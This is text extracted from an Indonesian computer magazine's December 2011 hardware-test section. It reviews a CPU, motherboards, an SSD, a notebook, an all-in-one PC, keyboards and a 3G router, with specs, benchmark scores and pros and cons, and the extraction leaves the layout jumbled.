Processor 8 core pertama AMD untuk desktop PC.

941-pin untuk socket AM3+.

PRODUK/DATA TEST PRODUK HARGA Manufaktur Kontak Website DATA TEKNIS CPU Properties: CPU Type CPU Alias Original Clock L1 Code Cache L1 Data Cache L2 Cache

AMD FX-8150 Black Edition US$268 (kisaran) Advanced Micro Devices, Inc. Nusantara Eradata / (021) 6018218 www.amd.com AMD FX-8150, 3600/4200 MHz 1 Zambesi (Bulldozer microarchitecture) 4200 MHz 64 KB per core 16 KB per core 2048 KB per core (On-Die, ECC, Full-Speed) 8 MB (On-Die, ECC, NB-Speed)

L3 Cache CPU Physical Info: Package Type socket AM3+, 941 Pin uPGA Package Size 4 x 4 cm Transistors Process Technology 32 nm CMOS, Cu, High-K, SO Instruction Set + CPUID Features: Multi-Core supported Software Thermal Control supported Hardware P-State Control supported 64-bit x86 Extension supported (AMD64, Intel64) Data Execution Prevention supported (DEP, NX, EDB) BENCHMARK/PENGUJIAN Nilai %0 20 40 60 80 100 PCMark 7 Suite 2691 PCMark 7 Entertainment 3362 PCMark 7 Computation 3739 SiSoftware Sandra 2011 84.3 (Aggregate Arithmetic Performance /GOPS) 3DMARK 11 Physics 6504 Score (P) Windows Experience Index 7.6 (Processor)

TOTAL PERFORMA

Nilai% 82% 86% 85% 81%

78% 96%

85%

TOTAL PENILAIAN %0 20 Total Performa Fitur WE LIKE Processor 8 core, harga cukup kompetitif.

TOTAL NILAI (MAKS. 670=100%)

40

60

80 100 Nilai% 85% 90%

WE DON’T Performa tidak sesuai dengan yang diharapkan.

86%

100% Independent Test-bed: ASUS CROSSHAIR V FORMULA, HIS Radeon HD 5770, 2 x DDR3/1333 4 GB, WD Raptor 74 GB, Windows 7 Ultimate 64-bit.

Skor yang diperoleh dengan Sisoft Sandra 2011 (CPU Agregate).

Box AMD FX-8150.

Rumor tentang kabar yang cukup tidak mengenakkan berkaitan dengan processor AMD FX-8150 sangat santer beredar di internet. Kabarnya, processor AMD terbaru dengan Bulldozer microarchitecture memiliki performa yang tidak sesuai harapan. Kondisi tersebut cukup memancing rasa penasaran kami untuk membuktikan kebenarannya. Kesempatan tersebut akhirnya muncul setelah processor AMD FX-8150 didatangkan ke lab kami. Dari segi spesifikasi teknis, processor ini merupakan penerus K10 microarchitecture dan diklaim sebagai processor 8 core pertama untuk sistem komputer desktop. Kecepatan clock default yang ia miliki adalah 3,6 GHz untuk base clock dan 4,2 GHz untuk turbo clock 1 . Melihat spesifikasinya, processor ini memang ditujukan untuk kinerja yang lebih agresif, terutama untuk menjalankan berbagai aplikasi berat secara simultan.

40

40_AMD FX-8150_VA edit nur.indd 40

Jika dilakukan komparasi dengan processor Intel Sandy Bridge, AMD FX memiliki beberapa keunggulan, terutama pada segi dukungan seperti Native DDR3-1866 Support, kapasitas cache yang lebih besar, dan base clock CPU yang lebih tinggi. Untuk mengetahui performa yang dihasilkan secara pasti, kami melakukan pengujian dengan beberapa benchmark software. Hasil yang diperoleh memang cukup mengejutkan karena beberapa skor yang dihasilkan masih di bawah skor Intel Sandy Bridge yang pernah kami uji (Core i7 2600K 3,4 GHz). Padahal, pada segi spesifikasi, processor dari AMD ini jauh lebih unggul. Meski begitu, salah satu keunggulan AMD dibandingkan Intel adalah harganya yang cukup kompetitif. Untuk spesifikasi high end seperti ini, AMD hanya membanderol pada kisaran US$268, sedangkan Sandy Bridge untuk seri Intel Core i7 2600K 3,4 GHz pada kisaran US$314.[[emailprotected]] 12/2011

11/8/2011 12:43:29 PM

Motherboard Intel Socket LGA 1155 HARDWARE TEST

ASUS SABERTOOTH P67

PRODUK/DATA TEST PRODUK HARGA Manufaktur Kontak Website DATA TEKNIS CPU Socket / Chipset Chipset Energy Saving / Untuk Komponen DMI / BIOS DIMM Slots / RAM Max

1

Expansion Slot / Port

Asus Sabertooth P67 US$315 (kisaran) ASUS Astrindo Senayasa / (021) 6121330 www.asus.com LGA 1155 / Intel® P67(B3) ESP/ CPU, Memory, VGA, LAN, USB 32 Mb Flash ROM , UEFI AMI BIOS Dual Channel DDR3 memory technology 4 x DDR3 DIMM slot / 32 GB 2 x PCI Express 2.0 x16 slots, 3 x PCI Express 2.0 x1 slots, 1 x PCI slots

Integrated Graphics Integrated Audio

Realtek® ALC892 8-Channel High Definition Audio CODEC Integrated LAN Intel® 82579, 1 x Gigabit LAN Controller(s) Paket Penjualan manual, driver, certifivate of reliability, 4 SATA cable, 1x bolt, 2-pin extender, Crossfire Bridge, shield panel Fitur Tambahan MemOK!, AISuite II, TUF Design, Digi+VRM Garansi 5 tahun BENCHMARK/PENGUJIAN Nilai %0 20 40 60 80 100 Nilai% Pcmark 7 Score 3277 97% Lightweight Score 2474 95% Productivity Score 2197 96% Creativity Score 3314 92% Entertainment Score 3930 96% Computation Score 5208 94% System Storage Score 1801 88% Dirt 3 1131 100%

2

Kondisi suhu yang ekstrem bukan masalah bagi ASUS seri TUF ini. TOTAL PERFORMA

1

95%

TOTAL PENILAIAN %0 20

Interface melimpah, dari USB 3.0 hingga Firewire.

2

Total Performa Perlengkapan Overclock Energy Saving (Penghematan Max) 75 watt Handling Service / Support Harga WE LIKE TUF design, garansi 5 tahun.

TOTAL NILAI (MAKS. 390=100%)

Penggunaan thermal armor hampir menutup seluruh permukaan motherboard.

Dukungan multi-GPU, baik SLI maupun CrossFire.

Seri chipset P67 merupakan seri pertama yang mengakomodasi processor Sandy Bridge. Pada awal kemunculannya, memang terdapat kabar yang kurang mengenakkan untuk Intel karena adanya defect pada seri chipset ini. Namun, setelah penanganan yang sigap, dalam kurun waktu satu bulan, akhirnya versi revisi chipset ini muncul (B3). Seperti motherboard ASUS P67 Sabertooth yang kami uji kali ini, bekal chipset yang telah direvisi akan memupuskan kekhawatiran user dalam memilih motherboard untuk Intel Sandy Bridge. Motherboard dari ASUS seri Sabertooth ini merupakan kategori TUF atau The Ultimate Force yang merupakan istilah yang digunakan ASUS untuk motherboard dengan komponen kelas militer. Penggunaan komponen kelas militer ini tiada lain dimaksudkan untuk penggunaan di lingkungan dan kondisi ekstrem sekalipun. Indikasi yang sangat jelas terlihat adalah penggunaan Thermal Armor yang hampir menutupi sebagian 12/2011

41_Asus Sabertooth P67_VA edit nur.indd 41

40

60

80 100 Nilai% 95% 80% 83% 98% 82% 100% 26%

WE DON’T Harga relatif mahal.

58%

100% Independent Test-bed: Intel Core i7 2600K 3.4 GHz, HIS Radeon HD 5770 1 GB GDDR5, TEAM Elite DDR3-1333MHz-CL9 Dual-Channel-2 x 2 GB, Western Digital Raptor 74 GB-10.000 RPM, Microsoft Windows 7 Ultimate 64-bit.

besar permukaan motherboard 1 . Thermal Armor ini terdiri atas bahan plastik dan logam dengan konduktivitas panas yang tinggi sehingga energi panas yang dihasilkan dapat terdisipasi dengan cepat. Untuk hardware monitoring, terutama masalah panas, ASUS menggunakan fitur Thermal Radar, di mana terdapat sensor suhu hingga 12 buah yang tersebar pada setiap area kritis di motherboard. Untuk sistem storage, motherboard ini menyediakan delapan slot SATA. Empat di antaranya merupakan SATA 6 Gb/s . Untuk storage controller, ASUS menggunakan tiga chipset sekaligus, yaitu Intel P67, Marvell, serta Jimcron. Sementara, untuk fungsi grafis, ia sudah mendukung multi-GPU, baik untuk mode SLI maupun CrossFire 2 . Dengan segala kelebihannya, terutama segi penggunaan komponen, tidak heran bila ASUS memberikan garansi hingga lima tahun untuk seri ini TUF. [[emailprotected]]

41

11/8/2011 12:44:05 PM

HARDWARE TEST

Motherboard Intel Socket LGA 1155

GIGABYTE Z68X-UD7-B3

PRODUK/DATA TEST PRODUK HARGA Manufaktur Kontak Website DATA TEKNIS CPU Socket / Chipset Chipset Energy Saving / Untuk Komponen DMI / BIOS

1

5

LGA 1155 / Intel Z68 Express Chipset N/A

64Mb Award BIOS, support for dual BIOS DIMM Slots / RAM Max dual channel DDR3 memory technology 4 x DDR3 DIMM slot / 32 GB Expansion Slot / Port 2 x PCI Express 2.0 x16 slots, 2 x PCI Express 2.0 x16 slots running at 8x, 1 x PCI Express 2.0 x1 slots, 2 x PCI slots Integrated Graphics Intel HD graphics 850 MHz Integrated Audio 7.1 CH HD Audio (Realtek ALC889 Audio Codec) Integrated LAN 2 x Realtek RTL8111E chips (10/100/1000 Mbit) Paket Penjualan manual, driver, Gigabyte GC-3SLI, shield panel, SLI, front USB 3.0, 6 x SATA cable, front eSATA, eSATA power cable Fitur Tambahan Smart 6, Autogreen, Easytune, etc. Garansi 3 tahun BENCHMARK/PENGUJIAN Nilai %0 20 40 60 80 100 Nilai% Pcmark 7 Score 3293 97% Lightweight Score 2565 98% Productivity Score 2298 100% Creativity Score 3322 93% Entertainment Score 3910 95% Computation Score 4389 79% System Storage Score 1981 97% Dirt 3 1131 98%

3

4

Gigabyte Z68X-UD7-B3 US$427 (kisaran) GIGABYTE TECHNOLOGY CO., LTD. Misuco Elektronik / (021) 6009085 www.gigabyte.co.id

2

Motherboard kelas premium Z68.

TOTAL PERFORMA

95%

TOTAL PENILAIAN %0 20

1

Total Performa Perlengkapan Overclock Energy Saving (Penghematan Max) 71 watt Handling Service / Support Harga WE LIKE Paket penjualan melimpah, dukungan penuh multiGPU, fitur overclock.

Mendukung 3-way SLI maupun 3-way CrossFireX. 2 4 5

3 24 power phase, untuk suplai daya ke processor yang lebih stabil.

Interface cukup variatif.

Seri chipset Z68 yang dihadirkan kali ini datang dari Gigabyte Z68X-UD7-B3. Jika dibandingkan chipset Intel lain yang berbasiskan Sandy bridge, Z68 merupakan solusi untuk masalah keterbatasan kemampuan overclocking pada chipset sebelumnya, terutama peningkatan rasio core processor, rasio memory, serta peningkatan batas arus dan daya. Untuk seri UD7 ini, tampaknya GIGABYTE mengonsentrasikan kemampuan maksimal motherboard ini pada area VRM. Rancangan 24 power phase memberikan suplai daya murni untuk processor 1 serta meningkatkan kestabilan saat beban kerja bervariasi. GIGABYTE juga menambahkan teknologi Dual Power Switching yang berfungsi sebagai manajemen daya sehingga meningkatkan efisiensi penggunaan daya. Sistem pendingin yang digunakan pada motherboard ini menggunakan kombinasi antara heatpipe dan heatsink berbahan tembaga untuk membuang panas mulai dari area chipset

42

42_Gigabyte Z68X-UD7-B3_VA edit nur.indd 42

TOTAL NILAI (MAKS. 390=100%)

40

60

80 100 Nilai% 95% 94% 90% 90% 93% 73% 10%

WE DON’T Harga mahal.

50%

100% Independent Test-bed: Intel Core i7 2600K 3.4 GHz, HIS Radeon HD 5770 1 GB GDDR5, TEAM Elite DDR3-1333MHz-CL9 Dual-Channel-2 x 2 GB, Western Digital Raptor 74 GB-10.000 RPM, Microsoft Windows 7 Ultimate 64-bit.

hingga area VRM. Pembuangan panas tentunya akan lebih optimal dengan memanfaatkan embusan angin dari kipas processor. Untuk menunjang kemampuannya, GIGABYTE menyertakan berbagai software seperti EasyTune dan Smart6. Dengan software tersebut, proses overclock, fast booting, hingga proses recovery menjadi lebih mudah tanpa disulitkan dengan konfigurasi yang rumit. Untuk kinerjanya, motherboard ini sangat baik. Beberapa pengujian menghasilkan nilai skor yang tinggi. Wajar saja karena ia merupakan seri tertinggi dari jajaran motherboard Z68 GIGABYTE. Interface-nya tampaknya agak sedikit berbeda dengan interface standar. Motherboard ini menyertakan dua RJ45 2 , dua eSATA combo 3 , serta dua IEEE 1394a atau umumnya dikenal dengan firewire 4 . Selain itu, terdapat juga S/PDIF optic maupun coaxial 5 .[[emailprotected]] 12/2011

11/8/2011 12:44:45 PM

Vision-USB_12.indd 1

10/26/2011 11:38:58 AM

HARDWARE TEST SSD

KINGSTON HYPERX SSD 120GB

PRODUK/DATA TEST PRODUK Kingston HyperX SSD 120GB HARGA US$310 (kisaran) Manufaktur Kingston Technology Corporation Kontak Image Media, (021)… Website http://www.kingston.com/ssd/default.asp DATA TEKNIS Form Factor 2,5” Formatted Capacity 120 GB Real Capacity 111,8 GB Physical Dimensions 69,85 x 100 x 9,5 mm (H x L x W) Weight 94 g Interface SATA-III 6 Gb/s Buffer Size Operating Temp 0° C ~ 70° C Storage Temp 40° C ~ 85° C Fitur SandForce controller Garansi 3 tahun BENCHMARK/PENGUJIAN Nilai %0 20 40 60 80 100 Nilai % Transfer Rate Average 254.8 100% (MB/sec) Access Time (ms) 0.126 100% CPU Usage (%) 2.5 88% Full Load Temp. Max (°C) 38 95% PCMark05 HDD Test Suite 519770.718605762 100% (PC Marks)

TOTAL PERFORMA

Full speed nan temperamen.

99%

TOTAL PENILAIAN %0 20

5

2

40

Total Performa Fitur Handling Harga

1

WE LIKE Performa baik, quick launch button.

95%

(MAKS. 280=100%)

Termasuk enclosure keren.

3,5” to 2,5” HDD bay adapter.

80 100 Nilai% 99% 82% 95% 90%

WE DON’T Panas.

TOTAL NILAI

Obeng unik sebagai tools.

60

100% Independent Test-bed: Intel Pentium 4 EE 3,4GHz; Asus P5GD2; GeForce 6600GT 128MB; 2 x 256 MB DDR2 PC4300; Microsoft Windows XP Professional Build 2600 SP1.

4 6 3

Mode SATA III-nya paling agresif.

Sayangnya masih USB 2.0.

Berbekal jenis interface SATA III, Kingston HyperX SSD 120GB sejatinya sangat menjanjikan untuk melesatkan performa storage komputer. Pada kotak kemasannya, pihak pabrikan memberikan informasi bahwa kemampuan produk ini sudah dimaksimalkan lagi dengan meng-upgrade firmware ke versi terbaru. Jika sebelum di-upgrade ia mampu menembus kecepatan baca hingga 525 MB/S, setelah menggunakan firmware baru, kecepatan bacanya meningkat menjadi setara 555 MB/S (nilai adalah hasil uji pihak pabrikan). Saat diuji, nilai performanya memang menjadi yang tercepat dari semua SSD yang pernah kami terima. Sayangnya, SSD ini sedikit panas. Jika umumnya SSD temperatur maksimal di RIG test bed kami adalah 35° C, Kingston HyperX tembus 38° C. Pada segi kelengkapan, Kingston HyperX SSD 120GB sangat lengkap, memudahkan Anda dalam menempatkannya

44

44_Kingston HyperX SSD 120GB_Edit rifan edit nur.indd 44

Internal atau eksternal? Tak masalah.

di mana pun sesuai keinginan. Selain sebagai pengganti HDD notebook Anda, pihak pabrikan menyertakan adapter 2,5” ke 3,5” 1 guna pemasangan di drive bay casing desktop. Untuk solusi “On The Go”, pabrikan juga menyertakan Enclosure 2 yang cukup trendi penampilannya, tetapi sayangnya masih menganut konektivitas USB 2.0 3 . Sebagai pelengkap, satu kabel SATA dan satu kabel USB 4 bahkan obeng 5 dengan dua jenis ukuran mata, disertakan gratis dalam kemasan. Sebagai info, Kingston HyperX SSD ini saat dipasang di USB enclosure, performanya sepuluh kali lebih rendah daripada saat dipasang sebagai media internal SATA III. Kami juga menguji dalam mode SATA II 6 . Hasilnya, performa rata-rata turun hingga 20%. Anda berniat mengganti HDD berbasiskan plate dengan SSD dan kebetulan notebook Anda sudah dibekali interface SATA-III? Kingston HyperX ini alternatif paling kencang di pasar saat ini.[[emailprotected]] 12/2011

11/8/2011 11:49:34 AM

Notebook HARDWARE TEST

ASUS U41SV

PRODUK/DATA TEST PRODUK HARGA Manufaktur Kontak Website DATA TEKNIS Processor LCD Display

2

ASUS U41SV Rp7.299.000,00 (kisaran) ASUS Computer Inc. Datascrip / (021) 6544515 www.asus.com/id

Intel Core i5 2410M, @ 2.4GHz 14.0” LED HD (1366 x 768) 16:9 gloss display RAM 4 GB DDR3-1066 (2 x 2 GB) Chipset Intel HM65 (Cougar Point) Graphic Controller Intel HD Graphic & nVIDIA GT540M 1 GB Communication Atheros AR8151 PCI-E Gigabit Ethernet Controller, Atheros AR9285 Network Adapter, bluetooth Expansion Slot / Port 3 x USB 2.0, audio I/O, HDMI, D-Sub, DC-in, card reader Optical Drive MATSHITA DVD-RAM UJ8A2ASW HDD / Storage Seagate Momentus XT 500 GB Quick Launch Button performance switch Paket Penjualan manual book, 1 x kabel power, adaptor (90 w), Dimensi (P x L x T) / Bobot 338 x 250 x 254 mm / 2 kg with 6 cell battery; 2,224 kg (+charger); spesifikasi -2 kg BENCHMARK/PENGUJIAN Nilai %0 20 40 60 80 100 Nilai % PCMark 7 Score 2606 100% PCMark 7 Creativity 1980 60% PCMark 7 Computational 2694 45% PCMark 7 Storage 2659 100% 3Dmark Vantage 17722 100% Dirt 3 42.1 100%

Performance switch.

1

Lebih ramping tanpa memangkas performa.

TOTAL PERFORMA

84%

TOTAL PENILAIAN %0 20 Total Performa Perlengkapan Kemampuan Baterai (81 menit) Handling Ergonomi Service/Support Harga

HDMI dan dua USB port di sisi kiri.

WE LIKE Dedicated VGA, baterai kuat (6 cells).

40

60

80 100 Nilai% 84% 69% 45% 85% 77% 80% 91%

WE DON’T Panas.

Indikator sering tertutup tangan.

TOTAL NILAI

1

(MAKS. 400=100%)

79%

100% Independent Test-bed: Windows 7 Profesional 64-bit, PCMark vantage, 3DMark vantage, Dirt3, Battery Eater Pro v2.60.

Audio plus USB port ke-3 di sisi kanan.

Perlu desain heatsink yang lebih baik.

Dari segi disain, notebook ini tidak bisa dibilang tipis. Mengapa yang pertama kami komentari adalah ketebalannya? Karena U41SV termasuk keluarga U series yang menjanjikan desain yang lebih ramping dibandingkan keluarga K atau A series. Dimensi ketebalannya mencapai 254 mm. Memang itu lebih ramping, tetapi performanya sama persis dengan seri yang lebih tebal dengan spesifikasi yang sama tentunya. Namun, ada konsekuensi dari dimensi yang dipangkas. Yang paling patut diperhatikan, saat kami uji, notebook ini menghasilkan panas yang cukup tinggi, apalagi saat diajak bekerja keras. Embusan udara yang keluar dari ventilasi 1 yang ditempatkan di sisi kiri notebook terasa panas. Hal itu bisa dimaklumi, mungkin karena U41SV mengadopsi dedicated GeForce GT 540M dengan 1 GB VRAM jenis DDR3. Solusinya, Anda bisa menggunakan nVIDIA Optimus guna mengatur kerja sang GT540M tersebut. 12/2011

45_ASUS U41SV_edit rifan edit nur.indd 45

U41SV yang kami terima memang belum dibekali dengan baterai 8 cells seperti yang tertera di web (opsinya). Namun, untuk ukuran notebook dengan VGA dedicated, ia mampu bertahan hingga 81 menit dengan baterai 6 cells merupakan wujud kinerja manajemen power yang di atas rata-rata. ASUS sendiri memberikan tombol shortcut 2 khusus untuk kemudahan berpindah-pindah jenis manajemen power. Performanya patut diacungi jempol. Tak percuma ASUS membekali adaptor sebesar 90 w untuk notebook slim. Pasalnya, untuk mencapai performa puncaknya, notebook ini memang cukup haus daya. Kolaborasi Sandy Bridge ber-voltage standar ditambah nVIDIA GT 540M mampu mencetak skor 17 ribu lebih saat uji GPU 3DMark Vantage. Saat menjalankan PCMark 7, rating ASUS U41SV berhasil menjadi batas atas baru di database Notebook Performance Lab PC Media. [[emailprotected]]

45

11/8/2011 11:50:23 AM

asia raya 1_12.indd 1

08/11/2011 16:26:10

asia raya 2_12.indd 1

08/11/2011 16:27:34

HARDWARE TEST Desktop PC

LENOVO IDEACENTRE B320

PRODUK/DATA TEST PRODUK HARGA Manufaktur Kontak Website DATA TEKNIS Processor

5 4

Lenovo IdeaCentre B320 US$1,049 (kisaran) Lenovo Visiland www.lenovo.com

Intel Core i5-2400S 2.50GHz (Max Turbo 3.3GHz) 21,5” TFT LED LCD (1920 x 1080) Touchscreen RAM 4096 MB DDR3-1333 Chipset Intel H61 Graphic Controller AMD Radeon HD 6450A (512 MB) Communication Bluetooth, Intel(R) 82579V Gigabit Network Connection, Realtek RTL8188CE Wireless LAN 802.11n PCI-E NIC Port Power port, PS/2 keyboard, LAN RJ-45, 6 x USB 2.0, card reader, audio I/O Optical Drive PLDS DVD-RW DS8A5SH ATA Device HDD / Storage ST31000528AS ATA Device (1000 GB, 7200 RPM, SATA-II) Paket Penjualan wireless bluetooth (mouse + keyboard), kabel power Dimensi 535 x 400 x 65 mm (W x H x D) Garansi 1 tahun BENCHMARK/PENGUJIAN Nilai %0 20 40 60 80 100 Nilai% PCMark 7 Score 2409 71% PCMark 7 Lightweight Score 1585 61% PCMark 7 Productivity Score 1197 53% PCMark 7 Creativity Score 3028 84% PCMark 7 Entertainment Score 2078 51% PCMark 7 Computation Score 3160 57% PCMark 7 System Storage Score 2131 100% Display Monitor

Interkoneksi bagian samping serta tambahan unit card reader.

3

Unit optical drive.

1

VGA Onboard Dirt3 Bench 17.84 3DMark 11 (GPU Score Entry) 721

46% 36%

TOTAL PERFORMA

65%

TOTAL PENILAIAN %0 20

Wireless keyboard bluetooth.

Total Performa Perlengkapan Handling Ergonomi Service/Support Harga

Tampak samping.

WE LIKE Display multi-touch, wireless keyboard dan mouse.

2 Interkoneksi di bagian belakang.

TOTAL NILAI (MAKS.360=100%)

Wireless mouse bluetooth.

48

48_Lenovo IdeaCentre B320_edit wawa edit nur.indd 48

60

80 100 Nilai% 65% 69% 76% 75% 60% 85%

WE DON’T Kinerja moderat.

74%

100% Independent Test-bed: Windows 7 Home Premium, PCMark7, 3DMark11, Dirt3 Bench.

Ekstra unit webcam.

Di kubu produk desktop PC , kembali kami kedatangan sampel produk dari Lenovo untuk jenis all-in-one PC. Sama seperti seri desktop PC all-in-one yang kami uji sebelumnya, produk yang kami dapatkan ini juga termasuk seri IdeaCentre yang tentunya sudah dijejali hardware dari generasi yang lebih baru dan up to date. Namun, memang tingkatan kelas hardware internal yang digunakan masih tergolong kelas menengah. Jadi, sistem high performance bukanlah hal yang dihadirkan oleh produk desktop PC Lenovo yang satu ini. Pada sisi operasional maupun fungsionalnya, tawaran Lenovo pada produk dengan kode B320 ini terbilang cukup canggih. Pertama, dari sisi interaksi input, user hanya perlu menyentuh layar display. Tidak hanya itu, fitur layar sentuh bisa untuk multi-touch walau masih terbatas pada dua point touch. Fitur lainnya dalam bentuk interaksi user dengan komputer adalah berupa wireless keyboard 1 dan wireless mouse

40

2

(bluetooth). Dua kenyataan ini saja menjadikan tawaran Lenovo untuk pengguna sebagai salah satu tawaran terbaik dalam hal kemudahan operasional. Tidak ketinggalan pula adanya pengendalian monitor dengan menggunakan tombol sentuh 3 . Pada sisi interkoneksi, B320 juga bukanlah yang terlengkap. Namun, semua kebutuhan koneksi dengan periferal lain cukup terpenuhi. Tambahan tersendiri sebagai produk desktop PC, ia dilengkapi dengan card reader 4 secara langsung yang biasanya ditemukan pada produk mobile PC. Selain itu, karakteristik optical drive 5 yang digunakan merupakan jenis yang biasanya hanya dipakai oleh mobile PC. Beralih ke performa sebagaimana kelas hardware yang digunakan. Produk PC desktop ini bukanlah performer yang tinggi. Namun, dengan fungsionalitasnya sebagai multimedia PC, ia sudah lebih dari cukup.[[emailprotected]] 12/2011

11/9/2011 3:27:28 PM

biznet_11.indd 1

10/12/2011 3:33:04 PM

HARDWARE TEST

Keyboard

I-ROCKS RF-6496

PRODUK/DATA TEST PRODUK HARGA Manufaktur Kontak

i-rocks RF-6496 Rp. 499.000 (kisaran) i-rocks Creative PQSP Prima Indonesia / (021) 62312855 www.i-rocks.com

Website DATA TEKNIS Interface Support wireless Cable Length Mekanisme Tombol scissors Peak Load Key 60 +/ -15 g Dimensi (W x D x H) 417 x 149 x 24,5 mm Bobot 442 g Konektor bluetooth via USB receiver Paket Penjualan unit keyboard, USB receiver, manual BENCHMARK/PENGUJIAN %0 20 40 60 80 100 Nilai% Performa 80%

2

TOTAL PERFORMA

80%

TOTAL PENILAIAN %0 20

Slim compact keyboard dengan koneksi bluetooth.

40

Total Performa Fitur & Perlengkapan Handling Service Harga

3

WE LIKE Desain sangat atraktif, area touchpad luas, wireless.

60

80 100 Nilai% 80% 54% 92% 100% 63%

WE DON’T Jarak antartombol terlalu dekat, terdapat ghosting.

TOTAL NILAI

2

Desain tipis dengan ketebalan 24,5 mm.

76%

(MAKS. 100=100%)

Indikator sebagai informasi status keyboard.

1 3

Area touchpad dan tombol shortcut.

Baterai AA 1,5 V.

Socket untuk baterai.

Produk dari i-rocks kembali didatangkan ke lab kami. Jenis keyboard yang datang kali ini berbeda dengan keyboard sebelumnya yang didedikasikan untuk tujuan gaming. Kali ini ditujukan untuk penggunaan multimedia dan office. Keyboard ini menggunakan konektor berupa bluetooth via USB receiver 1 dengan teknologi Frequecy Hopping Spread Spectrum (FHSS) untuk transmisinya. Jarak maksimal yang bisa dicapai keyboard ini mencapai 10 m. Kami sempat mencoba mengendalikan komputer dengan keyboard ini dari jarak 10 m lebih dan masih bekerja, bahkan melalui ruangan berbeda. Seri RF-6496 ini termasuk compact keyboard karena tidak hanya berfungsi sebagai controller untuk fungsi typing, tetapi juga sebagai controller pointer karena sudah tersedia touchpad yang terintegrasi 2 . Touchpad ini dilengkapi dua mode pilihan sebagai multi-function pad atau full size touch pad yang diaktifkan melalui tombol mode Select 3 .

50

50_irocks keyboard RF-6496_VA edit nur.indd 50

USB receiver.

Keyboard ini terdiri atas 86 tombol serta 8 tombol shortcut dan mouse. Sayangnya, ia tidak dilengkapi dengan tombol angka (numpad) tersendiri. Untuk sistem mekanismenya, keyboard ini menggunakan scissors switch yang umumnya digunakan pada notebook dengan kemampuan kesystroke hingga sepuluh juta kali. Dari segi operasional, ia cukup nyaman digunakan. Hanya saja, terdapat ghosting di mana sembilan tombol huruf alfabet tidak muncul saat dilakukan penekanan tombol secara bersamaan. Untuk sumber catu dayanya, keyboard ini mengandalkan dua baterai AA 1,5 volt. Instalasinya juga cukup mudah, Anda hanya perlu menancapkan USB receiver, maka secara otomatis keyboard akan aktif setelah proses inisialisasi. Pada penggunaan normal, baterai mampu mengoperasikan keyboard ini hingga satu tahun untuk pemakaian standar empat jam per hari.[[emailprotected]] 12/2011

11/8/2011 12:46:02 PM

DA 2- Tt_12.indd 1

09/11/2011 15:29:45

HARDWARE TEST Keyboard Gaming

TT ESPORTS MEKA G UNIT 2

3 4

1

PRODUK/DATA TEST PRODUK HARGA Manufaktur Kontak Website DATA TEKNIS Interface Support Cable Length Mekanisme Tombol Peak Load Key Dimensi (W x D x H) Bobot Konektor Paket Penjualan

Tt eSPORTS MEKA G Unit US$128 (kisaran) Thermaltake Ltd. Megacom, (021) 6127712 - 62203233 http://usa.ttesports.com/

wired keyboard USB 2 meter mechanical key switch 60 +/ -15 g 430 x 160 x 40 mm 1.532 g USB, USB Hub, audio I/O unit keyboard, software, kabel USB, manual, warranty, 2 x stiker, pouch BENCHMARK/PENGUJIAN %0 20 40 60 80 100 Nilai% Performa 95%

TOTAL PERFORMA

Membawa pengalaman bermain game ke tingkat lebih tinggi.

95%

TOTAL PENILAIAN %0 20

40

60

Total Performa Fitur & Perlengkapan Handling Service Harga WE LIKE Mechanical switch, USB hub + audio, LED backlit, macro.

Koneksi detachable wired USB.

Ekstratombol multimedia player.

80 100 Nilai% 95% 73% 97% 65% 15%

WE DON’T Bobot, harga.

TOTAL NILAI (MAKS.100=100%)

1

80%

4

Lebih mudah dengan koneksi port audio.

2

Tombol pemilihan profile.

3

Ekstratombol macro.

Keseluruhan main button menggunakan mechanical switch.

Perangkat gaming di komputer tak lengkap bila tanpa keyboard yang tepat. Salah satu solusinya, pengguna dapat memakai keyboard tawaran Tt eSPORTS yang satu ini. Performa, responsitivitas, dan fungsional alat input keyboard dihadirkan dengan sangat baik. Anda sebagai gamer hardcore pasti tidak akan melewatkan fungsi macro (programmable button) dari setiap alat input untuk interaksi game atau paling tidak mengetahuinya. Di sini, Tt eSPORTS dengan produk MEKA G Unit memberikan keleluasaan dalam programmable button dari sekumpulan ekstratombol di bagian kiri keyboard 1 . Tidak hanya itu, kombinasi tiga profile 2 yang dapat dipilih langsung, memberikan kombinasi hingga 60 macro. Sehubungan dengan kemudahan, beberapa tombol keyboard yang memang lebih cenderung untuk jenis game FPS diberi LED backlit tersendiri. Hal ini makin mempermudah

52

52_Tt eSPORTS MEKA G Unit_wawa edit nur.indd 52

Ekstrafungsi hub dua port USB.

Anda dalam bermain game di ruangan yang memiliki cahaya sedikit. Ekstrafitur lainnya adalah integrasi beberapa koneksi penting atau setidaknya akan sering dijangkau Anda, seperti USB port hub 3 dan audio I/O 4 . Hal ini tidak akan menyulitkan Anda lagi sekiranya Anda ingin menjangkau portport tersebut, yang sebelumnya harus dijangkau di bagian belakang unit CPU. Untuk mencerminkan ketahanan tinggi produk yang ditujukan untuk gaming karena perlakuan terhadap produk akan lebih ekstrem ketimbang untuk kegiatan computing standar, Tt eSPORTS mengaplikasikan jenis tombol mechanical switch. Dengan ini, tombol memiliki MTBF hingga 50 juta klik dan ini salah satu alasan keyboard ini memiliki harga yang cukup tinggi dan tentunya bobot yang cukup berat untuk ukuran keyboard.[[emailprotected]] 12/2011

11/8/2011 12:49:27 PM

Gateway

VENUS VR 433 N

HARDWARE TEST

PRODUK/DATA TEST PRODUK HARGA Manufaktur Kontak Website DATA TEKNIS Tipe Produk Network

Venus VR 433 N Rp289.000,00 (kisaran) Venus PT Subur Semesta www.subursmt.com

wireless router + 3G data management Wi-Fi mode 802.11b/g/n, wired ethernet 10/100 Modem Compatility HSPA+/HSUPA/HSDPA/CDMA EVDO R0/RA/RB USB modem Antennas internal Ethernet Ports x Speed 2 x fast ethernet (1 LAN, 1 WAN) USB standard for 3G data card, mini for power OS Compatibility Windows, Mac Dimension 108 x 82 x 24,5 mm Weight 120 g BENCHMARK/PENGUJIAN %0 20 40 60 80 100 Nilai% LAN 71% Wi-Fi @ 0m LOS 64% Wi-Fi @ 10m 62% Signal to Noise Ratio (dB) 69% Wi-Fi @ 10m

1

TOTAL PERFORMA

66%

TOTAL PENILAIAN %0 20

3

40

60

Total Performa Fitur & Perlengkapan Handling Service Harga

2

WE LIKE Compact, sederhana, setting mudah, akses wireless baik.

Memusatkan akses peangkat ke satu jaringan internet.

WE DON’T Masih memerlukan periferal lain untuk benarbenar terkoneksi ke internet.

TOTAL NILAI

2

(MAKS.160=100%)

3

Info lengkap default akses setting.

